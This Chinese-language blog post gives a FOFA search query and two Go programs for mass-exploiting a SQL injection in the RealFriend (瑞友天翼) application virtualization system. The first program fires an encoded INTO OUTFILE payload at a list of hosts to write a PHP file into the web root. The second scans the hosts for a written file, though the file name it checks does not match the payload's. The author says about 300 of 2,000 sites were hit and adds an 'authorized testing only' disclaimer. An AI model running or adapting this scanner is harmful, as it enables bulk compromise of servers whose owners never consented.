利用Go语言批量刷公益 瑞友天翼(1day)
前几天爆出的瑞友天翼1day还是比较很热门的,如果想挖公益的话那必然还是要扫描器批量的。
go的线程众所周知,直接贴代码自己测试吧
fofa语句: ’
product="REALOR-天翼应用虚拟化系统"
判断网站是否存活,且进行写入文件。
package main
import (
"bufio"
"fmt"
"net/http"
"os"
"sync"
)
func main() {
// 打开1.txt文件
inputFile, err := os.Open("1.txt")
if err != nil {
fmt.Println("Open file error:", err)
return
}
defer inputFile.Close()
// 创建存活链接.txt文件
outputFile, err := os.Create("存活链接.txt")
if err != nil {
fmt.Println("Create file error:", err)
return
}
defer outputFile.Close()
// 创建一个带缓冲的channel
urlChan := make(chan string, 1000)
// 使用goroutine并发请求URL
var wg sync.WaitGroup
for i := 0; i < 100; i++ {
wg.Add(1)
go func() {
for url := range urlChan {
resp, err := http.Get(url + "/AgentBoard.XGI?user=%27%7C%7C%271%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2FProgram%20Files%2FRealFriend%2FRap%20Server%2FWebRoot%2Fchips.php%27%20LINES%20TERMINATED%20BY%200x3c3f706870206563686f202268656c6c6c6f20727569796f75223b3f3e--%20-&cmd=UserLogin")
if err != nil {
fmt.Println(url, "==404")
continue
}
defer resp.Body.Close()
if resp.StatusCode == 200 {
fmt.Println(url, "==200")
outputFile.WriteString(url + "
")
} else {
fmt.Println(url, "==404")
}
}
wg.Done()
}()
}
// 读取1.txt文件中的URL,并发送到channel中
scanner := bufio.NewScanner(inputFile)
for scanner.Scan() {
urlChan <- scanner.Text()
}
// 关闭channel
close(urlChan)
// 等待所有goroutine结束
wg.Wait()
}
响应状态码为200的链接将会导出到 当前目录下 存活链接.txt的文件中
后续我们还要判断文件是否写入成功,如果访问我们的文件如果状态为200即可证明漏洞存在
package main
import (
"bufio"
"fmt"
"net/http"
"os"
"sync"
)
func main() {
// 打开200.txt文件
file, err := os.Open("存活链接.txt")
if err != nil {
panic(err)
}
defer file.Close()
// 创建漏洞链接.txt文件
output, err := os.Create("漏洞链接.txt")
if err != nil {
panic(err)
}
defer output.Close()
// 创建一个带缓冲的读取器
scanner := bufio.NewScanner(file)
// 创建等待组
var wg sync.WaitGroup
// 设置最大并发数
maxConcurrent := 50
semaphore := make(chan struct{}, maxConcurrent)
// 循环读取文件中的每一行
for scanner.Scan() {
url := scanner.Text() + "/11nxxx.php"
// 限制并发数
semaphore <- struct{}{}
wg.Add(1)
go func() {
defer wg.Done()
// 发送HTTP请求
resp, err := http.Get(url)
if err != nil {
fmt.Println(url, "==不存在漏洞")
<-semaphore
return
}
defer resp.Body.Close()
// 判断HTTP响应状态码
if resp.StatusCode == 200 {
fmt.Println(url, "==漏洞存在!!")
fmt.Fprintln(output, url)
} else {
fmt.Println(url, "==no")
}
// 释放信号量
<-semaphore
}()
}
// 等待所有goroutine执行完毕
wg.Wait()
}
运行结束即在目录下生成一个文本文档。打开就是你们想要的了
测试了两千个站点,结果显示存在大概300个站点有漏洞
本人不太用golang写。所以代码可能有点烂,我的原则是能用就行。也欢迎大佬指点
以上均在靶场和一些授权的地方测试,网络不是法外之地,请遵循网络安全法。
